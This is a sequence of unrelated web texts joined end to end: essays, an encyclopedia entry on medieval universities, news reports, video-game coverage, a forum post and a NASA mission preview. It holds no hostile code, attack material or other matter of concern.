The upwardly mobile professionals who have moved into this new high-rise are drawn to it because of the detachment and anonymity it offers. It's a world separate from exterior social reality. Freed from the struggle for food and shelter, unconstrained by wider social obligations or inherited moral frameworks, people such as these in modern societies, says Ballard, are able to explore their own desires and obsessions to an unprecedented degree. With his image of these residents inside the carefully designed hi-tech high-rise regressing into a savage infantilism, he highlights two seemingly contradictory trends that are such defining features of today's consumer capitalism: on the one hand increasing order, rational expediency, homogeneity, control; and on the other, the thirst for entertainment and excitement, pornographic stimulation, excessive consumption, mediatized violence, spectacle, the fantastical appearance of unlimited choice and possibility for the primary, desiring self. It's a central theme in Ballard's investigation into the psychic confusion of the modern world. The interplay that occurs between violence and boredom, madness and passivity, sensation and blandness; locating these dramas in the shopping mall atriums, airports, business parks, and apartment blocks that form the familiar backdrop of our lives.
Reading some of Ben Wheatley's recent interviews and from pictures that appeared online from the set, it's clear his film version of High-Rise is placed firmly, and with some relish, in the mid-1970s of the book's original publication. One hopes the sideburns and Ford Cortinas won't act as a nostalgic buffer, softening the power of the book's unsettling vision. The great writer of the present and the near-future would seem potentially ill-served by a retro period piece. But questions of adaptation aside—and Wheatley is a talented filmmaker who will surely serve up something that more than justifies the price of a ticket—a new stimulation of interest in Ballard is to be welcomed. Too often classified as a bleak dystopian, his dark fables are driven by a powerful moral instinct and a passionate urge to engage with the world as it is. His role, he would say cheerfully and without any shred of sanctimony, was to be the man standing at the roadside with a sign reading, "Dangerous bends ahead. Slow down." In the vagueness of life as it passes, it is very difficult to accurately gauge how personal and societal norms are shifting. We could do worse at this time of "inner migration," as he called it, the "opting out of reality" made available to us by rapidly evolving technologies that push us ever deeper into our own heads, than to stop and take a look at what Ballard had to say.
It won't change the world, but the rich feast of his imagination may offer nourishment, and even some guidance, for the road ahead.
*"Few men realize that their life, the very essence of their character, their capabilities and their audacities, are only the expression of their belief in the safety of their surroundings."Incomplete map of medieval universities in Europe. Some, such as Lund (1425), are missing.
Studium generale is the old customary name for a medieval university in medieval Europe.
Overview [ edit ]
There is no official definition for the term studium generale. The term studium generale first appeared at the beginning of the 13th century out of customary usage, and meant a place where students from everywhere were welcomed, not merely those of the local district or region.[1]
In the 13th century, the term gradually acquired a more precise (but still unofficial) meaning as a place that (1) received students from all places, (2) taught the arts and had at least one of the higher faculties (that is, theology, law or medicine) and (3) that a significant part of the teaching was done by masters.[2]
A fourth criterion slowly appeared: a master who had taught and was registered in the Guild of Masters of a Studium Generale was entitled to teach in any other studium without further examination. That privilege, known as jus ubique docendi, was, by custom, reserved only to the masters of the three oldest universities: Salerno, Bologna and Paris. Their reputations were so great that their graduates and teachers were welcome to teach in all other studia, but they accepted no outside teachers without an examination.
Pope Gregory IX, who, seeking to elevate the prestige of the papal-sponsored University of Toulouse, which he had founded in 1229, issued a bull in 1233, allowing Masters of Toulouse to teach in any studium without an examination. It consequently became customary for studia generalia, eager to elevate themselves, to apply for similar bulls. The older universities at first disdained requesting such privileges themselves, feeling their reputation was sufficient. However, Bologna and Paris eventually stooped down to apply for them too, receiving their papal bulls in 1292.[3]
Arguably, the most coveted feature of the papal bulls was the special exemption, instituted by Pope Honorius III in 1219, which allowed teachers and students to continue reaping the fruits of any clerical benefices they might have elsewhere. That dispensed them from the residency requirements set out in Canon Law.[4] As this privilege was granted only to those in studia generalia, certainly routinely by the 14th century, it began to be considered by many to be not only another (fifth) criterion but the definition of a studium generale". (Although the old universities of Oxford and Padua, which resisted asking for a papal bull, had sufficient reputation to be referred to as studium generale without a bull, Oxford masters were not allowed to teach in Paris without examination. Oxford reciprocated by demanding examinations from Paris masters and ignoring the papal privileges Paris enjoyed.)
Finally, the pope could issue bulls guaranteeing the autonomy of the university from the interference of local civil or diocesan authorities, a process that had begun with the issuing of the 1231 bull for the University of Paris. Although not a necessary criterion, to bestow the "privileges of Paris" to other studia generalia became customary.
The pope was not the only supplier of privileges. The Holy Roman Emperor also issued imperial charters granting much the same privileges, starting with the University of Naples in 1224.
A universal student body, one or more higher faculties, teaching by masters, the right to teach in other Studia, retention of benefices, autonomy: those were common features in studia generalia. In other respects (structure, administration, curriculum etc.), studia generalia varied. Generally speaking, most tended to copy one of two old models: the student-centred system of Bologne or the master-centered structure of Paris.
History [ edit ]
Most of the early studia generalia were found in Italy, France, England, Spain and Portugal, and these were considered the most prestigious places of learning in Europe. The Vatican continues to designate many new universities as studia generalia, although the popular significance of this honour has declined over the centuries.
As early as the 13th century, scholars from a studium generale were encouraged to give lecture courses at other institutes across Europe and to share documents, and this led to the current academic culture seen in modern European universities.
The universities generally considered as studia generalia in the 13th century were:
Both theological and secular universities were registered. This list quickly grew as new universities were founded throughout Europe. Many of these universities received formal confirmation of their status as studia generalia towards the end of the 13th century by way of papal bull, along with a host of newer universities. While these papal bulls initially did little more than confer the privileges of a specified university such as Bologna or Paris, by the end of the 13th century universities sought a papal bull conferring on them ius ubique docendi, the privilege of granting to masters licences to teach in all universities without further examination (Haskins, 1941:282).
Universities officially recognized as studia generalia in the 14th century were several, among these:
Today studium generale is primarily used within a European university context as a description for lectures, seminars and other activities which aim at providing academic foundations for students and the general public. They are in line with the humanistic roots of the traditional universities to reach outside of their boundaries and provide a general education.
Studium particulare [ edit ]
A studium particulare tended to take local students. A studium generale, by contrast, would take students from all regions and all countries.[5]
See also [ edit ]
Notes [ edit ]
^ Rashdall, Hastings. The Universities of Europe in the Middle Ages: Salerno. Bologna. Paris. Vol. 1. Clarendon Press, 1895, 8. ^ Rashdall, 9. ^ Rashdall, 11-12. ^ Rashdall, 12. ^ Georgedes, Kimberly. "Religion, Education and the Role of Government in Medieval Universities: Lessons Learned or Lost?." Forum on public policy. Vol. 2. No. 1. 2006. Link
References [ edit ]Alright, I get a package, and I open it up. Candy? What? Kewl! Then I remove one - ONE - little piece of candy, which has all this styrofoam around it, and I saw it. I knew what it was. It was something I always wanted, but you know how it goes, you forget that you wanted it 'til you see it again...
Well, I could now see it. I knew it was mine. FINALLY. I look at my GF, smiling, pulling it up, and then I show it to her: it's the Evil Dead Special Edition DVD!!! I loved it! I couldn't stop smiling :D
Then I suddenly notice there's more in there. What? WHY? I GOT EXACTLY WHAT I WANTED, but oh - Evil Dead 2 on BluRay... My cheecks now started to hurt. I couldn't believe how nice my gifter was. Then, I saw the last piece of the puzzle: Army of Darkness on the bottom...
Seriously, this was just awesomely magnificent - I couldn't believe my own eyes. This is going to be a very, VERY good Easter indedd!!!
Thank you sooooooooooooooooooooooo much, gifter, you know how to hit the spot!!!!!!!!!!!Iran released video on Wednesday of 10 American sailors who were detained by Iran overnight aboard their two US Navy patrol boats in the Gulf.
Some of the nine men and one woman can be seen in the video on their knees with their hands behind their heads. Another video shows the sailors seated on traditional rugs and being served a meal.
Iran’s Islamic Revolutionary Guard Corps said it had freed the sailors after determining they had entered Iranian territorial waters by mistake. The sailors had been detained aboard two US Navy patrol boats in the Gulf on Tuesday.
Their release brought a swift end to an incident that had rattled nerves days ahead of the expected implementation of a landmark nuclear accord between Tehran and world powers.
Confirming the sailors’ safe release, the Pentagon said there were no indications they were harmed while in Iranian custody.
A carefully worded statement did not explain how the sailors and their two riverine command boats ended up being detained by Iran, saying only that “the Navy will investigate the circumstances that led to the sailors’ presence in Iran.”
The sailors were later taken ashore by US Navy aircraft, while other sailors took charge of the boats and headed toward Bahrain, their original destination.
US Defense Secretary Ash Carter said he was pleased the sailors had been freed and appreciated “the timely way in which this situation was resolved.”Sanfrecce Hiroshima on Monday banned defender Mihael Mikic for the last two league games of the J. League season after the Croatian crashed his car into a taxi, injuring two passengers a day earlier.
The club said the accident occurred while Mikic, 36, was driving in Fukuyama, Hiroshima Prefecture. A female passenger in the cab broke her ribs and collar bone, while a fellow male passenger suffered bruising to his head.
Mikic was unhurt, but will not be allowed to train until Friday. Hiroshima will keep him out of the last home game of the season against Avispa Fukuoka on Saturday, as well as the final league fixture away to Albirex Niigata on Nov. 3.
Sanfrecce said they issued the penalties after considering “the magnitude of the social responsibility” placed upon the club and player.(CNN) Jordan Schwartz, owner of the Ohana Surf Shop, said he wanted to cry when he saw the green slime -- a toxic algae bloom -- covering his swath of Stuart Beach on Florida's east coast.
"Animals are in distress, some are dying, the smell is horrible," he told CNN on Friday. "You have to wear a mask in the marina and the river. It's heartbreaking and there is no end in sight."
The economic impact is devastating, he said.
"This town is 100% driven by tourism but the tourism is empty," he said. "You go to the beach and it's the height of summer and we have empty beaches, empty restaurants, empty hotels."
Gov. Rick Scott,declared a state of emergency midweek in Martin, St. Lucie, Lee and Palm Beach counties because of the toxic algae bloom that originated in Lake Okeechobee and spread to the beaches.
The Army Corps of Engineers released nutrient-heavy water into the St. Lucie Estuary as part of their flood control measures, Corps spokesman John Campbell told CNN. The algae outbreak eventually reached the beaches.
To make matters worse, a massive algae bloom was already covering the lake. Following the emergency declaration, the Corps announced it would cut discharges by about a third beginning Friday.
"The algae outbreaks are triggered by fertilizer sewage and manure pollution that the state has failed to properly regulate. It's like adding miracle grow to the water and it triggers massive algae outbreaks," Earthjustice spokeswoman Alisa Coe told CNN.
Earthjustice, a nonprofit environmental law organization, has been fighting for tougher pollution limits in the state.
"We've seen this for years and years and instead of addressing the problem, here we are on the Fourth of July weekend with a state of emergency being declared," Coe said. "Usually folks would be out fishing, swimming and enjoying the beach with their families. Instead, they are left with water that is too toxic to touch."
Toxic blooms can affect the gastrointestinal system, liver, nervous system and skin, according to the Florida Department of Environmental Protection.
The hazardous water is costing Schwartz's family owned business about $10,000 a week. They even had to cancel their surf camp for kids, one of their main streams of income.
"We are afraid to put our kids or our camp teachers in the water," Schwartz said.
In a press release, Scott placed blame not on pollutants but on water storage limitations.
"Florida's waterways, wildlife and families have been severely impacted by the inaction and negligence of the federal government not making the needed repairs to the Herbert Hoover Dike and Florida can no longer afford to wait," Scott said.
Earthjustice's Coe said storage projects won't fix the real problem.
"The State wants to pretend the problem is only about water storage but it's also a pollution issue," Coe said. "In order to really get at the problem you got to clean up the water. Anyone whose been watching the state of regulation in Florida saw this coming."
Campbell agreed.
"The storage would help as would additional conveyance but it's a problem with both quantity and quality," he said.
While the Army Corps of Engineers must watch over water levels in the lake, it does not monitor water quality.
"The State of Florida is responsible," said Campbell, adding that the Corps knows it is releasing heavily polluted water into the estuary.
Part of the problem, Campbell explained, is that Lake Okeechobee's dike is susceptible to seepage and erosion and water levels are already at a 10- year high.
"The lake could rise another 5 feet during the wet season," said Campbell. "The Corps doesn't want the water to get too high in the interest of public safety."
For his part, Schwartz is hoping his business of 10 years will survive the state and federal back and forth.
"We are used to seeing our rivers continually being polluted year after year but we have never seen our beaches polluted. What we are witnessing right now, it's the tip of the iceberg," he said.Mangalore: He is a small trader in Sullia near Mangalore of Karnataka. He was fed up with frequent power cuts. He decided to inform the state's power minister about the power woes. And, now he has been booked for criminal intimidation, intentional insult to provoke breach of peace and deterring public servants from doing their duty!
Sai Giridhar Rai, a small time trader, has been booked in a criminal case after he rang up Karnataka Power Minister DK Shivakumar to complain about irregular supply of electricity, according to a report in CNN-IBN. Karnataka is currently a Congress-ruled state.
Karnataka Power Minister DK Shivakumar received the cast last Sunday. Reportedly, the minister started abusing him and eventually the conversation led to a heated argument.
Following the call, the Congress minister DK Shivakumar ordered the local power department to lodge a criminal case against Rai.
The local police has booked a case of criminal intimidation, intentional insult to provoke breach of peace, and deterring public servants from doing their duty against Sai Giridhar Rai.
However, DK Shivakumar says that Rai had abused him and that's why he informed the police. But, Rai claims that Shivakumar had abused him.· Closer links needed to beat terrorism and crime · Blueprint wants new force to patrol world flashpoints
Europe should consider sharing vast amounts of intelligence and information on its citizens with the US to establish a "Euro-Atlantic area of cooperation" to combat terrorism, according to a high-level confidential report on future security.
The 27 members of the EU should also pool intelligence on terrorism, develop joint video-surveillance and unmanned drone aircraft, start networks of anti-terrorism centres, and boost the role and powers of an intelligence-coordinating body in Brussels, said senior officials.
The 53-page report drafted by the Future Group of interior and justice ministers from six EU member states - Germany, France, Sweden, Portugal, Slovenia, and the Czech Republic -argues Europe will need to integrate much of its policing, intelligence-gathering, and policy-making if it is to tackle terrorism, organised crime, and legal and illegal immigration.
The report, seen by the Guardian, was submitted to EU governments last month following 18 months of work. The group, which also includes senior officials from the European Commission, was established by Germany last year and charged with drafting a blueprint for security and justice policy over the next five years.
Baroness Scotland, the UK attorney general, had observer status with the group to assess the implications for Britain, whose legal system, unlike continental Europe, is based on the common law.
The group's controversial proposals are certain to trigger major disputes, not least its calls for Europe to create an expeditionary corps of armed gendarmerie for paramilitary intervention overseas.
The report said the EU would fail to beat terrorism unless it developed a full partnership with Washington, a process currently pushing ahead in fits and starts.
"The EU should make up its mind with regard to the political objective of achieving a Euro-Atlantic area of cooperation with the United States in the field of freedom, security and justice," it said.
Such a pact, which should be finalised by 2014 at the latest, would entail the transfer of vast volumes of information on European citizens and travellers to the US authorities. Negotiations have long been under way to agree such a pact, but have been bedevilled by divergences in privacy law and data protection regimes.
The US is already demanding that EU countries sign up for a battery of security measures on transatlantic flights and the supply of personal information on passengers if they are to enjoy visa-free travel to the US. Under one such accord struck in March between Washington and Berlin, the Germans are to make DNA and biometric information on travellers available.
The European Commission and the US homeland security department are also trying to iron out discrepancies in privacy laws to allow the wholesale exchange of data. The aim is to reach a binding international agreement this year or next.
Last month the American Civil Liberties Union wrote to MEPs pressing Brussels to reject US pressure because the US is "a country that, in privacy terms, is all but lawless... US privacy laws are weak. They offer little protection to citizens and virtually none to non-citizens."
While urging a comprehensive transatlantic electronic pact, the Future Group focuses mainly on boosting police cooperation and integration between EU states, policies which would reinforce the powers of European agencies and institutions bearing acronyms such as Europol, Eurojust, Frontex, and Sitcen and perhaps see new agencies established to deal with security and intelligence operations.
Several member states, not least Britain, will have deep qualms about the proposals, with the British likely to balk at automatic pooling of national intelligence.
Anti-terrorist campaigns can only be effective if "maximum information flow between [EU] member states is guaranteed," the report said. "Relevant security-related information should be available to all security authorities in the member states." It said "networks of anti-terrorist centres" was a possible solution.
While cooperation between national police forces in the EU was advancing, the report conceded that the sharing of espionage and intelligence material was a "considerable challenge" as it clashed with the "principle of confidentiality" that is the basis for successful exchanges.
The report calls for a bigger role for "Sitcen" in coordinating intelligence sharing. Sitcen, or the Joint Situation Centre, is a shadowy intelligence body based in Brussels which started as a foreign policy tool supplying analysis on international crises to Javier Solana, the EU foreign policy chief, but which now focuses on counter-terrorism and internal security policy.
Key points
· National police forces to cooperate and integrate
· Improve European-level crisis management
· Need to harness the talents of "different actors" in fighting terrorism
· National security services and intelligence agencies need to collaborate much more closely
· New EU internet-based propaganda campaign to defeat radicalisation and terrorist recruitment
· Create "European Gendarmerie Force" for deployment and intervention abroad. Pooling of EU funds for such missions
· Common EU immigration policies. By 2014, EU leaders should make the political decision on whether to enter a "Euro-Atlantic area of freedom, security, and justice" with the AmericansIn news that has brightened up my morning considerably, Codemasters has just given us the hot-off-the-press news that Overlord II is on the way! In addition to a full sequel, the story of the Overlord and his cackling minions will also come in two supplementary titles -- bringing the evil lord to Nintendo systems for the first time.
Overlord II is set to up the stakes in terms of scope. Among the new features are full-scale battles against a new foe, The Glorious Empire, and minions that ride upon wolves and other such creatures. Overlord II is currently in development in the Netherlands and I am so excited I may just vomit.
The Wii also gets some Overlord favor this time around with Overlord Dark Legend. This prequel puts you in command of a younger Overlord as he learns how to become an all-powerful tyrant. Wiimote controls are of course on the cards, with a new "minion throttling" feature already promised. Finally, Overlord Minions is preparing to conquer the Nintendo DS, and is centered around four minion elites: Giblet, Blaze, Stench and Zap. You use the touch screen to direct this "Special Farces" crew in a bid to stop The Kindred, who want to resurrect a race of half-dragon people.
As readers will know, I am a huge Overlord fan and so this news is music to my ears. Hopefully our titular antihero is a little more despotic this time around (he was more amoral than evil last time), but if the dark humor and unique gameplay is intact, I'll be a very happy minion in 2009.
2009 will see the return of the Overlord and the vicious yet lovably insane Minions and today we are proud to announce 3 new Overlord titles for next year, which includes a full sequel and two additional new Overlord titles for the Nintendo formats.
Overlord II is the sequel to the original twisted fantasy action adventure and is now in development at Triumph Studios for the PLAYSTATION3 computer entertainment system, Xbox 360 and Games For Windows. However as well as this, 2009 will also see the series debuting on new formats. Exclusive extensions include the action title Overlord Dark Legend for Wii, featuring minion control through Wii Remote movement, and Overlord Minions, a dedicated puzzle action title, for Nintendo DS. More details regarding the upcoming games can be found below:
OVERLORD TITLES FOR 2009:
Overlord II
· PLAYSTATION 3, Xbox 360, Games For Windows
Overlord II is the sequel to the hit warped fantasy action adventure that had players being delightfully despotic. In Overlord II, a new Overlord and a more powerful army of Minions take on an entire empire in a truly epic adventure, inspired by the rise of the Roman Empire. As the Glorious Empire conquers kingdoms and destroys any sign of magic it finds, it’s time to go Minion Maximus and send in the horde.
The Minions return smarter, deadlier (and funnier) and are ready to fight in large scale battles that will see their wild pack mentality squaring up to the organised legions of the Glorious Empire. As ever, they’ll do anything and everything the Overlord commands of them, especially now that they can run ravage and wreck buildings and scenery. They’ve also learn to ride: In Overlord II Minions will be able to mount up and ride wolves and other magical creatures around the landscape and take them into battle, making our band of merry fighters faster and fiercer than ever before. Coming in 2009, Overlord II is now in development at Triumph Studios in Delft, the Netherlands, for the PLAYSTATION 3, Xbox 360 and Games For Windows
Overlord DARK LEGEND.
· Wii
Designed and developed exclusively for Wii, Overlord Dark Legend is a brand new action adventure steeped in fairy tale lore with sinister, satirical twists. Set in a time before the original game, players take the role of a new young Overlord. As he revels in command of the Minions, our trainee tyrant will be able to take his growing pains out on the local fairy tale inhabitants as he protects his castle and lands.
Connecting players to the game world in three dimensions, the use of the Wii Remote gives unprecedented control over the minions. For example, individual Minions can be plucked from the horde, held by the neck and then, by vigorously shaking the Wii Remote, throttled to imbue him with some Overlordly power and turn him into a manic minion missile. With a now-explosive body, the insane little critter can be guided into enemies with hilarious, if rather fatal, consequences.
Backed by a rich, tongue-in-cheek story from award-winning games author Rhianna Pratchett, the game features Overlord favourites including Halflings, trolls, elves, and dwarves and introduces wicked witches, gingerbread men and Lil’ Red Riding Hood, the seeming sweet girl with a very personal lupine secret. Coming in 2009, Overlord Dark Legend is now in development at Climax Studios, exclusively for Wii.
Overlord MINIONS
· Nintendo DS
Meet Giblet, Blaze, Stench, and Zap – an elite Minion crew who, assisted by minion master Gnarl, get star billing in Overlord Minions, an irresistible and accessible puzzle action game, designed exclusively for Nintendo DS. In Overlord Minions, the Overlord commands the Minion team remotely. The Nintendo DS stylus becomes an extension of his evil will and every precise Touch Screen command is the player-as-Overlord directing, commanding and combining minions in battle, pointing and sweeping them to attack enemies and solving puzzles to execute his dastardly plans.
Controlling the Special Farces team of four, players negotiate fiendish levels and take on a huge range of warped enemies to hunt down the Kindred, a cult dedicated to resurrecting the mighty Dragon Kin, a race of humanoid dragon hybrids, determined to replace the Overlord’s despotism with their own. Extending the Overlord series’ trademark humour, gameplay focuses on the mischievous physical comedy of the minion’s antics and is delivered in a stylised cartoon visual style. Scheduled for release in 2009, Overlord Minions is now in development at Climax Studios exclusively for Nintendo DS.
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Click to open photo gallery:Conservative Daily Caller founder Tucker Carlson on Sunday suggested that the reason he had been unpopular with liberals for years was because “people despise you when you wear a bow tie.”
“How boring is it to wear a hoodie to work?” Carlson asked during a Fox News segment about how Americans were revolting against the tradition of dressing casually on Fridays. “If you are truly cutting edge you will wear gloves. White gloves.”
One viewer in London noted that “bow tie Thursdays” were becoming popular at his workplace.
Carlson, who wore a bow tie for years while working as a host of CNN’s Crossfire, noted that he could have been “pummeled” for wearing the formal necktie if he had not believed in self defense.
“People despise you when you wear a bow tie,” he explained. “Not in Charleston, not in Newport, Rhode Island. There little strongholds of bow tie-philia. But the rest on the country — especially the Big Apple — not for the bow ties.”
“I mean, if you’re a Nation of Islam guy — in fact, they would come up to me often. They were so nice to me, it was unbelievable. The Nation of the [Louis] Farrakhan guys, they loved the bow tie.”
“Was your behavior better when you were wearing a bow tie?” Fox News co-host Alisyn Camerota wondered.
“Oh, no,” Carlson admitted. “It was much filthier because, look, you’re wearing a bow tie so nobody suspects it.”
Watch this video from the Fox News’ Fox & Friends, broadcast Jan. 6, 2013.Jason Davis • March 25, 2015
One-Year ISS Mission Preview: 28 Experiments, 4 Expeditions and 2 Crew Members
This Friday, three new crew members are launching to the International Space Station. One, cosmonaut Gennady Padalka, will come home in six months—the standard for ISS trips. But the other two, astronaut Scott Kelly and cosmonaut Mikhail Kornienko, will remain onboard for a full year. A handful of human spaceflight records will be broken: It will be the longest ISS mission to date, the most consecutive days in space for any NASA astronaut and the first time the Russians have tried this since the days of Mir in the 1990s.
NASA / Bill Ingalls Ready to launch The crew of Expedition 43 poses outside their Soyuz spacecraft at the Baikonur Cosmodrome in Kazakhstan. From left: Mikhail Kornienko, Gennady Padalka, Scott Kelly. The crew of Expedition 43 poses outside their Soyuz spacecraft at the Baikonur Cosmodrome in Kazakhstan. From left: Mikhail Kornienko, Gennady Padalka, Scott Kelly.
The goal of the one-year mission is to learn how long-duration spaceflight affects the human body. A round trip to Mars could last between 12 and 18 months—not counting time spent in orbit and on the surface. We humans evolved in a place where an unseen force pulls our feet toward the ground at a rate of 10 meters per second, squared. When that force, gravity, is nullified by an interplanetary voyage or free fall in Earth orbit, our bodies change. The fluids beneath our skin shift. Our faces get puffy, and our legs get skinny. The extra fluid in our heads alters our vision. Our bones weaken, and our muscles lose strength. The carbon dioxide we exhale lingers near our bodies. The day-night cycle we've known for tens of thousands of years disappears. And spending months inside pressurized aluminum cylinders takes a toll on our psyches.
To that end, Kelly and Kornienko have agreed to spend a year in space—for science. Their urine, blood, stool and saliva will be sampled. High-frequency sound waves will be sent through their bodies. Their vision, cognition and motor skills will be tested. They'll capture their moods in journals. And when they finally return to Earth in March 2016, they’ll scarcely get a breath of fresh Kazakh air before scientists swarm in for more tests, including physical challenges designed to see how well humans might function after their hypothetical spacecraft thumps onto a dusty Martian plain.
How will all of this information be collected? With a battery of carefully planned experiments—18 in all, not counting a separate twins study that we’ll get to next. I read through each experiment's one-sheet description and tried to summarize the basic questions and data to be collected:
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In addition to the Kelly-Kornienko studies, there are separate experiments taking place that include Scott Kelly’s twin brother, Mark. While Scott is in orbit getting poked and prodded by his ISS crew mates, Mark will be undergoing the same tests back on Earth. Because the Kelly brothers share the same set of genes, scientists can use Mark as a control subject. For example, how will Scott’s cells respond to a year of above-average radioactive bombardment? By comparing the two brothers’ data trends, the results should be more accurate. As an added bonus, Mark is a former astronaut, so he’s used to the rigamarole required for NASA experiments.
The twins study encompasses 10 experiments. Here’s a summary spreadsheet:
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The upcoming year of ISS operations will, of course, be about more than just Kelly and Kornienko. Nine crew members will come and go during that time, carrying the station’s Expedition tally from 43 through 46. A bevy of other scientific experiments will be in progress. Bigelow Aerospace’s inflatable test module will arrive at the station. And the crew will continue to prepare the U.S. segment for the upcoming arrivals of SpaceX and Boeing crew vehicles.
Gennady Padalka, who launches Friday with Kelly and Kornienko, will return to Earth after six months. He will trade places with Sergey Volkov, who will fly a fresh Soyuz to the station in September. That spacecraft will also carry two temporary crew members: ESA astronaut Andreas Mogensen and space tourist Sarah Brightman. Mogensen and Brightman will fly home with Padalka in the first Kelly-Kornienko Soyuz after 10 days. During that week-and-a-half, the station will have nine people aboard. It hasn’t been that crowded since the space shuttle era.
Here’s how the crew roster pans out during the one-year mission:
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On March 19, NASA posted some candid images of Kelly and Kornienko playing pool at the Cosmonaut Hotel in Baikonur. In most photographs, the pair rarely smile—they carry the stoic expressions of veteran spacefarers focused solely on their mission.
But occasionally, subtle grins crack through, and NASA’s Bill Ingalls captured one such moment as Kelly leaned in for a trick shot with a pool cue behind his back. The room’s bland decor, weathered pool table and distant dartboard—along with Kelly and Kornienko’s outfits—give the scene a military base feel. Add lower lighting, a bar and a few pints of beer, and you might be convinced that the duo are off-duty, hotshot pilots killing time before a dangerous mission.
Actually, that’s not far from the truth. Kornienko was a paratrooper who studied at the Moscow Aviation Institute, and Kelly was a Navy pilot. And while the meat of the one-year ISS mission involves mundane data collection, it isn't entirely without risk. Only four other humans have done what Kelly and Kornienko will do. Undertaking crewed missions to Mars will require long-duration spaceflight to become more of the norm rather than the exception.
NASA / Bill Ingalls Trick shot Astronaut Scott Kelly plays pool with cosmonaut Mikhail Kornienko before the duo launch on a one-year mission to the International Space Station. Astronaut Scott Kelly plays pool with cosmonaut Mikhail Kornienko before the duo launch on a one-year mission to the International Space Station.The Federal Communications Commission has told members of Congress that it won't reveal exactly how it plans to prevent future attacks on the public comment system.
FCC Chairman Ajit Pai and Democratic lawmakers have been exchanging letters about a May 8 incident in which the public comments website was disrupted while many people were trying to file comments on Pai's plan to dismantle net neutrality rules. The FCC says it was hit by DDoS attacks. The commission hasn't revealed much about what it's doing to
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a few minutes. After that load up one of the tutorial scenarios, go crazy and live with any screw ups you make along the way. This way you learn as you play and you rather accurately recreate the skill level of a lot of Allied commanders during Operation Overlord.
Now back to those tutorials. All three have you attacking as the allies and not long after starting them you will “advance into ambush”. Rounds will fly and you’ll most likely take casualties but that’s ok. You are up against a well dug in and prepared opposition after all. This illusion works because the JTS engine’s infamously goofy AI isn’t even really what you’re up against here. Instead you’re up against the product of experienced level designers who understand both their player base and the capabilities and limitation of the engine upon which their game is built. Sadly there is a rather large downside to that. Most scenarios lack any sense of replayability. Anyone with good memory recall will most likely find taking Caen rather easy the second time since they now know where all the German defenders are hiding.
In any scenario where the AI is left to its own devices it becomes apparent that it’s not quite up to the job. The AI will often march whole battalions along open roads and into the waiting bullets of your men instead of taking cover in tree lines. I guess you could argue that this mirrors the numerous tactical blunders made by Allied commanders during this period but even then it seems a bit preposterous. Once again though the design team seem aware of this which is why the AI isn’t given much freedom of movement. Most missions in which you are defending will spawn AI troops so close that you’re almost always in contact by the end of the first turn. While I have no idea if it’s possible one thing I’d love to see the devs take a few cues from games like C&C or Supreme Commander for future titles. Often in skirmish mode you can choose the attitude for the AI (aggressive, turtling, swarm and so on) for a nice bit of variety. This would help give missions where the AI is defending a lot more replay value.
I must give credit where is due though to Panzer Battles Normandy’s scenario design team. For one they’ve crammed a huge plethora of scenarios into the game that might rival even Combat Mission: Beyond Normandy’s legendary library. Any Canadian readers will be happy to know that their countrymen's contribution to the war such as in Operation Goodwood is not overlooked.A lot of the other smaller players in the war such as the Free French, Free Polish and Free Belgian forces are also present, although I never encountered them. The vast scenario list is also a plus.
In terms of looks Panzer Battles Normandy is never going to described as a pretty game. The JTS engine has looked utterly functional since the 90s and still looks functional today. But in saying that the game is also rather self explanatory as well. The UI, though vast, has nice little tool tips that tell you which button does what meaning that so long as you’re willing to pay attention you’re never really lost. Many people like to reminisce about the wargames of old but often forget that they didn’t have learning curves so much as they had sheer cliffs atop which was a man telling you to bugger off since you forgot to do one specific step. The unit icons are also handy since they contain both a picture of the unit along with the NATO symbol so that experienced players can identify the type at a glance.
Like with many JTS games, it's hard to review Panzer Battles Normandy without sounding overly harsh, but these games will only feel more and more 'old-school' as time goes on. If I had to attribute one word to the game though, it would be “solid”. The age of the engine on which it is built rears its ugly head every now and then but the experience of the design team is often there to counteract that problem. If you’re a huge JTS fan you probably don’t care what I think and have already played this game to your heart’s content. If you’re new to JTS or wargaming as a whole I’d recommend downloading the demos on the JTS site and playing around for a bit since Panzer Battle Normandy’s asking price is a bit steep to pay on a whim.
Panzer Battles Normandy can be bought direct from the JTS store.MUNCIE, Ind. -- A central Indiana man who spent nearly 25 years in prison left a courthouse a free man Wednesday after a judge set aside his 1992 rape conviction because DNA found on the victim was not his.
Delaware Circuit Judge Kimberly Dowling freed William E. Barnhouse, acting on a joint motion filed by prosecutors and attorneys with the Innocence Project, after recent DNA tests showed another man’s semen was on the pants and inside a 1992 Muncie sexual assault victim, The Star Press reported.
“He has spent a quarter of a century incarcerated for a crime he did not commit,” Innocence Project attorney Seema Saifee told the judge. “William has suffered from mental illness his entire life.... He never gave up hope that the truth would come out.”
Barnhouse, now 60, was accused of attacking a woman in April 1992 behind a vacant Muncie building. The victim identified him as her attacker after he was arrested nearby. He was found guilty, but mentally ill, of rape and criminal deviate conduct, and sentenced to 80 years.
Dowling also granted a motion that Barnhouse be released for treatment and evaluation at an Indianapolis mental health facility.
“You’ve got to do everything they say,” the judge told Barnhouse.
Barnhouse left the courthouse with his attorneys and relatives, but his case may not be over. Delaware County prosecutors will decide in coming weeks on whether to bring Barnhouse to trial a second time, Chief Deputy Prosecutor Eric Hoffman told the judge.
For now, Saifee said her client has simple plans to enjoy his current freedom.
“He’s just hoping to get a good meal and enjoy the sun,” she said.
Court records show the Innocence Project, a nonprofit that has exonerated more than 300 convicted felons through DNA results, first inquired about evidence in Barnhouse’s case in 2009.
Negotiations with prosecutors led to a January 2016 agreement allowing the DNA testing.Kayleigh McEnany, formerly of CNN and now the Republican National Committee’s new spokeswoman, joined SiriusXM host Alex Marlow on Tuesday’s Breitbart News Daily to stress the importance that Republicans unify behind President Trump’s agenda.
Marlow praised the RNC’s choice by praising McEnany for her ability to communicate with “super brainiacs,” thanks to her Harvard Law education, and also “speak to the regular public,” which is “increasingly skeptical of the establishment media.”
“I want to communicate directly with the American people. You know what that means? It means going out and actually talking to the people,” said McEnany.
“I’ve traveled the country for the better part of the first half of this year, and man, I’ve got to tell you – I came across someone in Nevada who is a Democrat voter, who didn’t vote on President Trump in the election, but he told me, ‘The negative coverage that I see day in and day out, not giving this president a chance, not giving the choice of the American people a chance, has compelled me to actually give him a chance despite not voting for him,’” she recalled.
“That’s encouraging. When you go talk to the people, you hear a very different story than what you’re hearing on the mainstream media,” she said.
McEnany said one of her most difficult challenges at CNN was “trying to break through the narrative that was being sown.”
